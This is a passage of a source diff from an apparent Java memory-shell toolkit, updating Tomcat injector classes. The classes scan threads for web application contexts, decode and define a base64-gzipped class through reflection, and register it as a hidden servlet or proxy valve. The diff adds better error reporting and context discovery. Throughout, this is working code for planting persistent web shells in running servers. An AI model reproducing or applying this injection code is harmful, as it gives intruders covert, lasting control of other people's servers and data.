String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
} }
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -94,15 +147,17 @@ public class TomcatProxyValveInjector implements InvocationHandler {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -114,13 +169,19 @@ public class TomcatProxyValveInjector implements InvocationHandler {
String fieldName = "first"; String fieldName = "first";
try { try {
rawValve = getFieldValue(pipeline, fieldName); rawValve = getFieldValue(pipeline, fieldName);
} catch (NoSuchFieldException e) { } catch (NoSuchFieldException ignored) {
}
if (rawValve == null) {
fieldName = "basic"; fieldName = "basic";
rawValve = getFieldValue(pipeline, fieldName); rawValve = getFieldValue(pipeline, fieldName);
} }
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve)); Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
setFieldValue(pipeline, fieldName, proxyValve); setFieldValue(pipeline, fieldName, proxyValve);
System.out.println("proxyValve inject successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -168,7 +229,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -208,4 +269,19 @@ public class TomcatProxyValveInjector implements InvocationHandler {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,11 +3,14 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -16,17 +19,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TomcatServletInjector { public class TomcatServletInjector {
public TomcatServletInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -40,25 +34,88 @@ public class TomcatServletInjector {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
public List<Object> getContext() throws Exception { public TomcatServletInjector() {
List<Object> contexts = new ArrayList<Object>(); if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") try {
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
} }
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -68,24 +125,24 @@ public class TomcatServletInjector {
} }
} }
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object servlet) throws Exception { public void inject(Object context, Object servlet) throws Exception {
if (isInjected(context)) { if (invokeMethod(context, "findServletMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
System.out.println("servlet already injected");
return; return;
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
@@ -104,19 +161,11 @@ public class TomcatServletInjector {
invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false}); invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false});
} }
support56Inject(context, wrapper); support56Inject(context, wrapper);
System.out.println("servlet inject success");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object context) throws Exception { public String toString() {
Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings"); return msg;
Collection<String> values = servletMappings.values();
for (String name : values) {
if (name.equals(getClassName())) {
return true;
}
}
return false;
} }
private void support56Inject(Object context, Object wrapper) throws Exception { private void support56Inject(Object context, Object wrapper) throws Exception {
@@ -249,4 +298,19 @@ public class TomcatServletInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }

Some files were not shown because too many files have changed in this diff Show More